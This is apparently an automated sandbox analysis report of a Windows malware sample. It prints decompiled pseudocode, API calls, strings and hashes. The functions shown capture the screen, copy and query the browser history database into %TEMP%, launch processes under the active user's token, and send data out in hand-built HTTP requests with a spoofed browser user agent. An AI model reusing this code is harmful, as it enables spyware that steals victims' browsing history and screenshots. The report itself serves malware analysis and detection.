				_v1492 = 0;
				_v20 = 0;
				_v24 = 0;
				_v28 = 0;
				_v32 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00403980(_v8);
				E00403980(_v12);
				E00403980(_v16);
				E00403980(_a16);
				E00403980(_a12);
				_push(_t228);
				_push(0x417c31);
				_push( *[fs:eax]);
				 *[fs:eax] = _t228 + 0xfffffa30;
				E0040357C( &_v28, "wsock32.dll");
				_t196 = GetModuleHandleA(E004039E8( &_v28));
				if(_t196 == 0) {
					_t196 = LoadLibraryA(E004039E8( &_v28));
				}
				 *0x41cb38 = GetProcAddress(_t196,  &((E004039E8( &_v28))[0xc]));
				 *0x41cb3c = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x17]));
				 *0x41cb40 = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x25]));
				 *0x41cb44 = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x2c]));
				 *0x41cb48 = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x31]));
				 *0x41cb4c = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x36]));
				 *0x41cb50 = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x3c]));
				 *0x41cb54 = GetProcAddress(_t196,  &((E004039E8( &_v28))[0x44]));
				if(_t196 != 0 &&  *0x41cb38 != 0 &&  *0x41cb3c != 0 &&  *0x41cb40 != 0 &&  *0x41cb44 != 0 &&  *0x41cb48 != 0 &&  *0x41cb4c != 0 &&  *0x41cb50 != 0 &&  *0x41cb54 != 0) {
					E004034E4( &_v24);
					_push( &_v432);
					_push(E00404F40(2, 2));
					if( *0x41cb38() == 0) {
						_t225 =  *0x41cb40(2, 1, 0);
						if(_t225 != 0xffffffff) {
							_v448 = 2;
							_t144 =  *0x41cb3c(E00403990(_v8));
							if(_t144 != 0) {
								_v444 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t144 + 0xc))))));
								_v446 =  *0x41cb4c(_a8);
								_t151 =  *0x41cb50(_t225,  &_v448, 0x10);
								_t243 = _t151;
								if(_t151 == 0) {
									E00403850();
									E00403D88( &_v1480, _v1484);
									E0041745C(E00403790(_a12), _t196,  &_v1488, _t225, _t243);
									E00403D88( &_v1492, _a12);
									E00403E78();
									E0040377C( &_v20, _v1476);
									 *0x41cb44(_t225, E004039E8( &_v20), E00403790(_v20), 0, _v1492, L"\r\n\r\n", _v1488, _v1480, "Content-Length: ", 0x417cd4, "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)", "User-agent: ", "Connection: close\r\n", 0x417cd4, _a16, "Host: ", " HTTP/1.0\r\n", _v12, 0x417ca4, _v16);
									E004034E4( &_v24);
									do {
										E004034E4( &_v32);
										E004028E0( &_v1472, 0x400);
										_t197 =  *0x41cb48(_t225,  &_v1472, 0x400, 0);
										E004035D4( &_v32, _t197,  &_v1472);
										E00403798( &_v24, _v32);
									} while (_t197 > 0);
									 *0x41cb54(_t225);
									_push( &_v24);
									_push(E00403AD4(0x417d7c, _v24) + 4);
									_t186 = E00403790(_v24);
									_pop(_t222);
									E004039F0(_v24, _t186, _t222);
									E00403538(_a4, _v24);
								}
							}
						}
					}
				}
				_pop(_t206);
				 *[fs:eax] = _t206;
				_push(E00417C38);
				E00403BF4( &_v1492, 2);
				E004034E4( &_v1484);
				E00403BF4( &_v1480, 2);
				E00403508( &_v32, 7);
				return E00403508( &_a12, 2);
			}

0x0041782d
0x00417833
0x00417839
0x0041783f
0x00417845
0x0041784b
0x0041784e
0x00417851
0x00417854
0x00417857
0x0041785a
0x0041785d
0x00417863
0x0041786b
0x00417873
0x0041787b
0x00417883
0x0041788a
0x0041788b
0x00417890
0x00417893
0x0041789e
0x004178b1
0x004178b5
0x004178c5
0x004178c5
0x004178d9
0x004178f0
0x00417907
0x0041791e
0x00417935
0x0041794c
0x00417963
0x0041797a
0x00417981
0x004179f2
0x004179fd
0x00417a07
0x00417a10
0x00417a22
0x00417a27
0x00417a2d
0x00417a3f
0x00417a47
0x00417a54
0x00417a65
0x00417a76
0x00417a7c
0x00417a7e
0x00417ac5
0x00417ad6
0x00417aef
0x00417b08
0x00417b1e
0x00417b2c
0x00417b46
0x00417b4f
0x00417b54
0x00417b57
0x00417b69
0x00417b83
0x00417b90
0x00417b9b
0x00417ba0
0x00417ba5
0x00417bae
0x00417bbf
0x00417bc3
0x00417bcd
0x00417bce
0x00417bd9
0x00417bd9
0x00417a7e
0x00417a47
0x00417a27
0x00417a10
0x00417be0
0x00417be3
0x00417be6
0x00417bf6
0x00417c01
0x00417c11
0x00417c1e
0x00417c30

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00417C31,?,00000000,00000000,?,00418203,00000000,?,?,?), ref: 004178AC
LoadLibraryA.KERNEL32(00000000,00000000,00000000,00417C31,?,00000000,00000000,?,00418203,00000000,?,?,?), ref: 004178C0
GetProcAddress.KERNEL32(00000000,-0000000C), ref: 004178D4
GetProcAddress.KERNEL32(00000000,-00000017), ref: 004178EB
GetProcAddress.KERNEL32(00000000,-00000025), ref: 00417902
GetProcAddress.KERNEL32(00000000,-0000002C), ref: 00417919
GetProcAddress.KERNEL32(00000000,-00000031), ref: 00417930
GetProcAddress.KERNEL32(00000000,-00000036), ref: 00417947
GetProcAddress.KERNEL32(00000000,-0000003C), ref: 0041795E
GetProcAddress.KERNEL32(00000000,-00000044), ref: 00417975

Strings

HTTP/1.0, xrefs: 00417A8F
Host: , xrefs: 00417A94
Connection: close, xrefs: 00417AA1
, xrefs: 00417AFA
Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1), xrefs: 00417AAB
User-agent: , xrefs: 00417AA6
wsock32.dll, xrefs: 00417899
Content-Length: , xrefs: 00417AB5
, xrefs: 00417BB2

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: $$ HTTP/1.0$Connection: close$Content-Length: $Host: $Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)$User-agent: $wsock32.dll
API String ID: 384173800-3355491746
Opcode ID: bcefe48ff679f2a9fc963d10a819813c922fc1fc7822652f7f5fc84ca62ba0c5
Instruction ID: 40f87eb91c0466ae62d4265024b0cddbd223269e9b4c2b0dfc8b3cbba4f3f7f6
Opcode Fuzzy Hash: bcefe48ff679f2a9fc963d10a819813c922fc1fc7822652f7f5fc84ca62ba0c5
Instruction Fuzzy Hash: 22B101B19042099BDB10EF65DC86ADFBBB8BB04309F10407BE505F22D1DB78AA458F98

Uniqueness

Uniqueness Score: -1.00%

Function 00407E8C, Relevance: 22.8, APIs: 6, Strings: 7, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00407E8C(intOrPtr* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v36;
				intOrPtr _v100;
				char _v104;
				char _v108;
				char _v112;
				intOrPtr _v117;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t30;
				intOrPtr* _t61;
				intOrPtr _t74;
				intOrPtr* _t76;
				void* _t79;
				void* _t81;

				 *__eax =  *__eax + __eax;
				_v117 = _v117 + __edx;
				_v112 = 0;
				_v12 = 0;
				_v20 = 0;
				 *[fs:eax] = _t81 + 0xffffff98;
				_t28 = GetProcAddress(LoadLibraryA("kernel32.dll"), "WTSGetActiveConsoleSessionId");
				_t30 = GetProcAddress(LoadLibraryA("wtsapi32.dll"), "WTSQueryUserToken");
				_t76 = GetProcAddress(LoadLibraryA("userenv.dll"), "CreateEnvironmentBlock");
				E00402754(0,  &_v112);
				E00403D88( &_v20, _v112);
				E00404F5C();
				_v108 = 0x44;
				_v100 = 0;
				 *_t28( *[fs:eax], 0x407fa6, _t81, __edi, __esi, __ebx, _t79, __ebx);
				_push( &_v16);
				_push(0);
				if( *_t30() != 0) {
					 *_t76( &_v20, _v12, 0xffffffff);
					_t61 =  *0x41b32c; // 0x41c724
					 *((intOrPtr*)( *_t61))(_v12, E00403D98(_v16), E00403D98(_v8), 0, 0, 0, 0x400, _v20, 0,  &_v104,  &_v36);
					asm("sbb eax, eax");
				}
				_pop(_t74);
				 *[fs:eax] = _t74;
				_push(E00407FAD);
				E004034E4( &_v108);
				E00403BDC( &_v16);
				return E00403BDC( &_v8);
			}

0x00407e8d
0x00407e8f
0x00407e9b
0x00407e9e
0x00407ea1
0x00407eaf
0x00407ec2
0x00407ed9
0x00407ef5
0x00407efc
0x00407f07
0x00407f14
0x00407f19
0x00407f22
0x00407f25
0x00407f2c
0x00407f2d
0x00407f32
0x00407f3e
0x00407f6f
0x00407f76
0x00407f7b
0x00407f7e
0x00407f82
0x00407f85
0x00407f88
0x00407f90
0x00407f98
0x00407fa5

APIs

LoadLibraryA.KERNEL32(kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407FA6,?,-00000001), ref: 00407EBC
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00407EC2
LoadLibraryA.KERNEL32(wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407FA6,?,-00000001), ref: 00407ED3
GetProcAddress.KERNEL32(00000000,wtsapi32.dll), ref: 00407ED9
LoadLibraryA.KERNEL32(userenv.dll,CreateEnvironmentBlock,00000000,wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407FA6,?,-00000001), ref: 00407EEA
GetProcAddress.KERNEL32(00000000,userenv.dll), ref: 00407EF0

Part of subcall function 00402754: GetModuleFileNameA.KERNEL32(00000000,?,00000105,-00000001,?,?,004195AF,?), ref: 00402778

Strings

userenv.dll, xrefs: 00407EE5
D, xrefs: 00407F19
CreateEnvironmentBlock, xrefs: 00407EE0
WTSQueryUserToken, xrefs: 00407EC9
wtsapi32.dll, xrefs: 00407ECE
kernel32.dll, xrefs: 00407EB7
WTSGetActiveConsoleSessionId, xrefs: 00407EB2

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressLibraryLoadProc$FileModuleName
String ID: CreateEnvironmentBlock$D$WTSGetActiveConsoleSessionId$WTSQueryUserToken$kernel32.dll$userenv.dll$wtsapi32.dll
API String ID: 2206896924-1825016774
Opcode ID: e11f1d7bc5f322904e2e208dc13548be800b35a4d7b82cc5db7195152a230e64
Instruction ID: ac0e2f41aa2f423c9d9a8d80f7c11eaba859030c7a64cc794fed102b433a0b1d
Opcode Fuzzy Hash: e11f1d7bc5f322904e2e208dc13548be800b35a4d7b82cc5db7195152a230e64
Instruction Fuzzy Hash: 2A3139B1A44208AEDB00EBE5CC42F9EBBB8AB49704F50057AF514F71D1DA78AA058B58

Uniqueness

Uniqueness Score: -1.00%

Function 00407E90, Relevance: 22.8, APIs: 6, Strings: 7, Instructions: 98
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00407E90(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v36;
				intOrPtr _v96;
				char _v104;
				char _v108;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t27;
				intOrPtr* _t58;
				intOrPtr _t71;
				intOrPtr* _t73;
				void* _t76;
				void* _t78;

				_v108 = 0;
				_v8 = 0;
				_v16 = 0;
				 *[fs:eax] = _t78 + 0xffffff98;
				_t25 = GetProcAddress(LoadLibraryA("kernel32.dll"), "WTSGetActiveConsoleSessionId");
				_t27 = GetProcAddress(LoadLibraryA("wtsapi32.dll"), "WTSQueryUserToken");
				_t73 = GetProcAddress(LoadLibraryA("userenv.dll"), "CreateEnvironmentBlock");
				E00402754(0,  &_v108);
				E00403D88( &_v16, _v108);
				E00404F5C();
				_v104 = 0x44;
				_v96 = 0;
				 *_t25( *[fs:eax], 0x407fa6, _t78, __edi, __esi, __ebx, _t76);
				_push( &_v12);
				_push(0);
				if( *_t27() != 0) {
					 *_t73( &_v20, _v12, 0xffffffff);
					_t58 =  *0x41b32c; // 0x41c724
					 *((intOrPtr*)( *_t58))(_v12, E00403D98(_v16), E00403D98(_v8), 0, 0, 0, 0x400, _v20, 0,  &_v104,  &_v36);
					asm("sbb eax, eax");
				}
				_pop(_t71);
				 *[fs:eax] = _t71;
				_push(E00407FAD);
				E004034E4( &_v108);
				E00403BDC( &_v16);
				return E00403BDC( &_v8);
			}

0x00407e9b
0x00407e9e
0x00407ea1
0x00407eaf
0x00407ec2
0x00407ed9
0x00407ef5
0x00407efc
0x00407f07
0x00407f14
0x00407f19
0x00407f22
0x00407f25
0x00407f2c
0x00407f2d
0x00407f32
0x00407f3e
0x00407f6f
0x00407f76
0x00407f7b
0x00407f7e
0x00407f82
0x00407f85
0x00407f88
0x00407f90
0x00407f98
0x00407fa5

APIs

LoadLibraryA.KERNEL32(kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407FA6,?,-00000001), ref: 00407EBC
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00407EC2
LoadLibraryA.KERNEL32(wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407FA6,?,-00000001), ref: 00407ED3
GetProcAddress.KERNEL32(00000000,wtsapi32.dll), ref: 00407ED9
LoadLibraryA.KERNEL32(userenv.dll,CreateEnvironmentBlock,00000000,wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407FA6,?,-00000001), ref: 00407EEA
GetProcAddress.KERNEL32(00000000,userenv.dll), ref: 00407EF0

Part of subcall function 00402754: GetModuleFileNameA.KERNEL32(00000000,?,00000105,-00000001,?,?,004195AF,?), ref: 00402778

Strings

userenv.dll, xrefs: 00407EE5
D, xrefs: 00407F19
CreateEnvironmentBlock, xrefs: 00407EE0
WTSQueryUserToken, xrefs: 00407EC9
wtsapi32.dll, xrefs: 00407ECE
kernel32.dll, xrefs: 00407EB7
WTSGetActiveConsoleSessionId, xrefs: 00407EB2

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressLibraryLoadProc$FileModuleName
String ID: CreateEnvironmentBlock$D$WTSGetActiveConsoleSessionId$WTSQueryUserToken$kernel32.dll$userenv.dll$wtsapi32.dll
API String ID: 2206896924-1825016774
Opcode ID: b51bd9b2d158c1ec649fb8ca4aae382455afe83a3a767a6b98d08edd284edffb
Instruction ID: 15232c232ae21084946ce838b98eef105223b8b68f92314a8400df0ccc42bf71
Opcode Fuzzy Hash: b51bd9b2d158c1ec649fb8ca4aae382455afe83a3a767a6b98d08edd284edffb
Instruction Fuzzy Hash: CF313AB1A04309AEDB00EBE5CC42F9EBBECAF49704F500576F514F71D1EA78AA048B58

Uniqueness

Uniqueness Score: -1.00%

Function 00402668, Relevance: 16.6, APIs: 9, Strings: 2, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402668(CHAR* __eax, intOrPtr* __edx) {
				char _t5;
				char _t6;
				CHAR* _t7;
				char _t9;
				CHAR* _t11;
				char _t14;
				CHAR* _t15;
				char _t17;
				CHAR* _t19;
				CHAR* _t22;
				CHAR* _t23;
				CHAR* _t32;
				intOrPtr _t33;
				intOrPtr* _t34;
				void* _t35;
				void* _t36;

				_t34 = __edx;
				_t22 = __eax;
				while(1) {
					L2:
					_t5 =  *_t22;
					if(_t5 != 0 && _t5 <= 0x20) {
						_t22 = CharNextA(_t22);
					}
					L2:
					_t5 =  *_t22;
					if(_t5 != 0 && _t5 <= 0x20) {
						_t22 = CharNextA(_t22);
					}
					L4:
					if( *_t22 != 0x22 || _t22[1] != 0x22) {
						_t36 = 0;
						_t32 = _t22;
						while(1) {
							_t6 =  *_t22;
							if(_t6 <= 0x20) {
								break;
							}
							if(_t6 != 0x22) {
								_t7 = CharNextA(_t22);
								_t36 = _t36 + _t7 - _t22;
								_t22 = _t7;
								continue;
							}
							_t22 = CharNextA(_t22);
							while(1) {
								_t9 =  *_t22;
								if(_t9 == 0 || _t9 == 0x22) {
									break;
								}
								_t11 = CharNextA(_t22);
								_t36 = _t36 + _t11 - _t22;
								_t22 = _t11;
							}
							if( *_t22 != 0) {
								_t22 = CharNextA(_t22);
							}
						}
						E00403B1C(_t34, _t36);
						_t23 = _t32;
						_t33 =  *_t34;
						_t35 = 0;
						while(1) {
							_t14 =  *_t23;
							if(_t14 <= 0x20) {
								break;
							}
							if(_t14 != 0x22) {
								_t15 = CharNextA(_t23);
								if(_t15 <= _t23) {
									continue;
								} else {
									goto L27;
								}
								do {
									L27:
									 *((char*)(_t33 + _t35)) =  *_t23;
									_t23 =  &(_t23[1]);
									_t35 = _t35 + 1;
								} while (_t15 > _t23);
								continue;
							}
							_t23 = CharNextA(_t23);
							while(1) {
								_t17 =  *_t23;
								if(_t17 == 0 || _t17 == 0x22) {
									break;
								}
								_t19 = CharNextA(_t23);
								if(_t19 <= _t23) {
									continue;
								} else {
									goto L21;
								}
								do {
									L21:
									 *((char*)(_t33 + _t35)) =  *_t23;
									_t23 =  &(_t23[1]);
									_t35 = _t35 + 1;
								} while (_t19 > _t23);
							}
							if( *_t23 != 0) {
								_t23 = CharNextA(_t23);
							}
						}
						return _t23;
					} else {
						_t22 =  &(_t22[2]);
						continue;
					}
				}
			}

0x0040266c
0x0040266e
0x0040267a
0x0040267a
0x0040267a
0x0040267e
0x00402678
0x00402678
0x0040267a
0x0040267a
0x0040267e
0x00402678
0x00402678
0x00402684
0x00402687
0x00402694
0x00402696
0x004026dd
0x004026dd
0x004026e1
0x00000000
0x00000000
0x0040269c
0x004026d0
0x004026d9
0x004026db
0x00000000
0x004026db
0x004026a4
0x004026b6
0x004026b6
0x004026ba
0x00000000
0x00000000
0x004026a9
0x004026b2
0x004026b4
0x004026b4
0x004026c3
0x004026cb
0x004026cb
0x004026c3
0x004026e7
0x004026ec
0x004026ee
0x004026f0
0x00402745
0x00402745
0x00402749
0x00000000
0x00000000
0x004026f6
0x00402731
0x00402738
0x00000000
0x00000000
0x00000000
0x00000000
0x0040273a
0x0040273a
0x0040273c
0x0040273f
0x00402740
0x00402741
0x00000000
0x0040273a
0x004026fe
0x00402717
0x00402717
0x0040271b
0x00000000
0x00000000
0x00402703
0x0040270a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040270c
0x0040270c
0x0040270e
0x00402711
0x00402712
0x00402713
0x0040270c
0x00402724
0x0040272c
0x0040272c
0x00402724
0x00402751
0x0040268f
0x0040268f
0x00000000
0x0040268f
0x00402687

APIs

CharNextA.USER32(00000000,?,00000000,00000000,?,0040279A,-00000001,?,?,004195AF,?), ref: 0040269F
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,?,?,004195AF,?), ref: 004026A9
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,?,?,004195AF,?), ref: 004026C6
CharNextA.USER32(00000000,?,00000000,00000000,?,0040279A,-00000001,?,?,004195AF,?), ref: 004026D0
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,?,?,004195AF,?), ref: 004026F9
CharNextA.USER32(00000000,00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,?,?,004195AF,?), ref: 00402703
CharNextA.USER32(00000000,00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,?,?,004195AF,?), ref: 00402727
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,?,?,004195AF,?), ref: 00402731

Strings

", xrefs: 00402684
", xrefs: 00402689

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CharNext
String ID: "$"
API String ID: 3213498283-3758156766
Opcode ID: c6d8730434dbc330e26cf7f014052777a241139f1a82d49c5bcfa5fb36d78824
Instruction ID: 06a23872e8460c007548b42de0442a537cd71877075bfb16317ebbd4e879d901
Opcode Fuzzy Hash: c6d8730434dbc330e26cf7f014052777a241139f1a82d49c5bcfa5fb36d78824
Instruction Fuzzy Hash: 2D21E7546043D51ADB31297A0AC877A7B894A5B304B68087BD0C1BB3D7D4FE4C8B832D

Uniqueness

Uniqueness Score: -1.00%

Function 00416FB0, Relevance: 15.2, APIs: 10, Instructions: 162
windowCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E00416FB0(int __eax, void* __ebx, int __ecx, int __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, char _a12, int _a16) {
				int _v8;
				int _v12;
				int _v16;
				char _v20;
				char _v24;
				char _v28;
				void* _v32;
				struct HWND__* _v48;
				struct HWND__* _v52;
				struct HWND__* _v56;
				char _v60;
				intOrPtr _v124;
				char _v132;
				char _v148;
				char* _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				void* _v176;
				char _v180;
				intOrPtr* _t78;
				struct HDC__* _t100;
				intOrPtr _t107;
				void* _t112;
				void* _t114;
				struct HDC__* _t116;
				struct HDC__* _t118;
				void* _t121;

				_v28 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_push(_t121);
				_push(0x4171d7);
				_push( *[fs:eax]);
				 *[fs:eax] = _t121 + 0xffffff50;
				if( *0x41cb04 != 0 &&  *0x41cb08 != 0 &&  *0x41cb0c != 0 &&  *0x41cb10 != 0 &&  *0x41cb14 != 0 &&  *0x41cb18 != 0 &&  *0x41cb1c != 0 &&  *0x41cb20 != 0 &&  *0x41cb24 != 0 &&  *0x41cb28 != 0) {
					_v60 = 1;
					_v56 = 0;
					_v52 = 0;
					_v48 = 0;
					_push(0);
					_push( &_v60);
					_push( &_v20);
					if( *0x41cb08() == 0) {
						_t100 = GetDC(0);
						_t116 = CreateCompatibleDC(0);
						_t112 = CreateCompatibleBitmap(_t100, _v8, _v12);
						SelectObject(_t116, _t112);
						BitBlt(_t116, 0, 0, _v8, _v12, _t100, _v16, _a16, 0xcc0020);
						 *0x41cb24(0, 0xffffffff, E0040495C( &_v28));
						 *0x41cb10(_t112, 0,  &_v24);
						E00416EDC(_a8, _t100,  &_v148, _t112, _t116);
						_v180 = 1;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t114 = _t112;
						_t118 = _t116;
						_v160 = 1;
						_v156 = 4;
						_v152 =  &_a12;
						 *0x41cb20(_v24, _v28,  &_v148,  &_v180);
						_t78 = _v28;
						 *((intOrPtr*)( *_t78 + 0x30))(_t78,  &_v132, 1);
						 *0x41cb28(_v28,  &_v32);
						GlobalFix(_v32);
						E004035D4(_a4, _v124, _v32);
						 *0x41cb1c(_v24);
						GlobalUnWire(_v32);
						DeleteObject(_t114);
						DeleteDC(_t118);
						ReleaseDC(0, _t100);
						 *0x41cb0c(_v20);
					}
				}
				_pop(_t107);
				 *[fs:eax] = _t107;
				_push(E004171DE);
				return E0040495C( &_v28);
			}

0x00416fbe
0x00416fc1
0x00416fc4
0x00416fc7
0x00416fcc
0x00416fcd
0x00416fd2
0x00416fd5
0x00416fdf
0x0041705a
0x00417061
0x00417068
0x0041706f
0x00417076
0x0041707b
0x0041707f
0x00417088
0x00417095
0x0041709e
0x004170ae
0x004170b2
0x004170d2
0x004170e4
0x004170f1
0x00417100
0x00417105
0x0041711c
0x0041711d
0x0041711e
0x0041711f
0x00417120
0x00417121
0x00417122
0x0041712c
0x00417139
0x00417155
0x00417161
0x00417167
0x00417172
0x0041717c
0x0041718b
0x00417194
0x0041719e
0x004171a4
0x004171aa
0x004171b2
0x004171bb
0x004171bb
0x00417088
0x004171c3
0x004171c6
0x004171c9
0x004171d6

APIs

GetDC.USER32(00000000), ref: 00417090
CreateCompatibleDC.GDI32(00000000), ref: 00417099
CreateCompatibleBitmap.GDI32(00000000,0041A212,?), ref: 004170A9
SelectObject.GDI32(00000000,00000000), ref: 004170B2
BitBlt.GDI32(00000000,00000000,00000000,0041A212,?,00000000,00000000,?,00CC0020), ref: 004170D2
GlobalFix.KERNEL32 ref: 0041717C
GlobalUnWire.KERNEL32(?), ref: 0041719E
DeleteObject.GDI32(00000000), ref: 004171A4
DeleteDC.GDI32(00000000), ref: 004171AA
ReleaseDC.USER32 ref: 004171B2

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CompatibleCreateDeleteGlobalObject$BitmapReleaseSelectWire
String ID:
API String ID: 914135935-0
Opcode ID: 75d1131f51ecb2d553ab7d8928f99ad89ba4083edd43a8eb5aad49789378265a
Instruction ID: ef45df128ede85129e0c4d5475d485c7d6030f40d18b36e8376d67ec69c327ad
Opcode Fuzzy Hash: 75d1131f51ecb2d553ab7d8928f99ad89ba4083edd43a8eb5aad49789378265a
Instruction Fuzzy Hash: BE51FDB1A44209AFDB11DF95EC85FEF7BBCAB48305F104066F604E62D1C7786984CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00412974, Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 222
fileCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00412974(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				intOrPtr _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				long _t73;
				WCHAR* _t86;
				intOrPtr* _t101;
				void* _t103;
				intOrPtr* _t105;
				intOrPtr* _t109;
				intOrPtr* _t138;
				void* _t140;
				intOrPtr* _t142;
				void* _t144;
				intOrPtr* _t152;
				intOrPtr* _t158;
				intOrPtr* _t164;
				void* _t166;
				void* _t178;
				intOrPtr _t198;
				intOrPtr _t200;
				intOrPtr _t213;
				intOrPtr _t217;
				intOrPtr _t218;
				void* _t219;
				void* _t220;

				_t215 = __esi;
				_t177 = __ebx;
				_t217 = _t218;
				_t178 = 0xb;
				do {
					_push(0);
					_push(0);
					_t178 = _t178 - 1;
					_t223 = _t178;
				} while (_t178 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = __eax;
				_t3 =  &_v8; // 0x6f747365
				E00404150(_t3);
				_push(_t217);
				_push(0x412c41);
				_push( *[fs:eax]);
				 *[fs:eax] = _t218;
				_t4 =  &_v28; // 0x6f747351
				E00403BDC(_t4);
				_push(_t217);
				_push(0x412bb7);
				_push( *[fs:eax]);
				 *[fs:eax] = _t218;
				_t73 = GetTickCount();
				_t5 =  &_v60; // 0x6f747331
				E0040709C(_t73, __ebx, _t5, __esi, _t223);
				_push(_v60);
				_t7 =  &_v64; // 0x6f74732d
				E00406FDC(_t7, __ebx, __edi, __esi, _t223);
				_push(_v64);
				_push(L".tmp");
				E00403E78();
				_t10 =  &_v40; // 0x6f747345
				E004078D8(_v8, _t177, _t10, _t223);
				_t12 =  &_v72; // 0x6f747325
				E004062FC(L"%TEMP%", _t12, _t223);
				_push(_v72);
				_push(0x412c78);
				_push(_v32);
				E00403E78();
				_t17 =  &_v44; // 0x6f747341
				E004078D8(_v68, _t177, _t17, _t223);
				_t86 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t86, 0xffffffff);
				_t20 =  &_v76; // 0x6f747321
				E0040377C(_t20, _v44);
				_t23 =  &_v36; // 0x6f747349
				E00404B58(_v76, _t177, _t178, _t23, _t215, _t223);
				_t24 =  &_v80; // 0x6f74731d
				E00403D88(_t24, _v36);
				if(E0040776C(_v80, _t177, _t178) != 0) {
					_t101 =  *0x41b140; // 0x41ca20
					_t103 =  *((intOrPtr*)( *_t101))(E00403990(_v36),  &_v16);
					_t219 = _t218 + 8;
					__eflags = _t103;
					if(_t103 == 0) {
						_t138 =  *0x41b2d4; // 0x41ca28
						_t140 =  *((intOrPtr*)( *_t138))(_v16, "SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),\"unixepoch\") , urls.title , urls.url FROM urls, visits WHERE urls.id = visits.url ORDER By  visits.visit_time DESC LIMIT 0, 10000", 0xffffffff,  &_v20,  &_v24);
						_t220 = _t219 + 0x14;
						__eflags = _t140;
						if(_t140 == 0) {
							while(1) {
								_t142 =  *0x41b384; // 0x41ca2c
								_t144 =  *((intOrPtr*)( *_t142))(_v20);
								__eflags = _t144 - 0x64;
								if(_t144 != 0x64) {
									goto L9;
								}
								E004034E4( &_v48);
								E004034E4( &_v52);
								E004034E4( &_v56);
								_t152 =  *0x41b1dc; // 0x41ca30
								E004036DC( &_v48,  *((intOrPtr*)( *_t152))(_v20, 0));
								_t158 =  *0x41b1dc; // 0x41ca30
								E004036DC( &_v52,  *((intOrPtr*)( *_t158))(_v20, 1));
								_t164 =  *0x41b1dc; // 0x41ca30
								_t166 =  *((intOrPtr*)( *_t164))(_v20, 2);
								_t220 = _t220 + 0x18;
								E004036DC( &_v56, _t166);
								_push(_v28);
								_push(0x412d40);
								E00403D88( &_v84, _v48);
								_push(_v84);
								_push(0x412d48);
								E00403D88( &_v88, _v52);
								_push(_v88);
								_push(0x412d54);
								E00403D88( &_v92, _v56);
								_push(_v92);
								_push(L"\r\n\r\n");
								E00403E78();
							}
						}
					}
					L9:
					_t105 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t105))(_v20);
					_t109 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t109))(_v16);
					_pop(_t198);
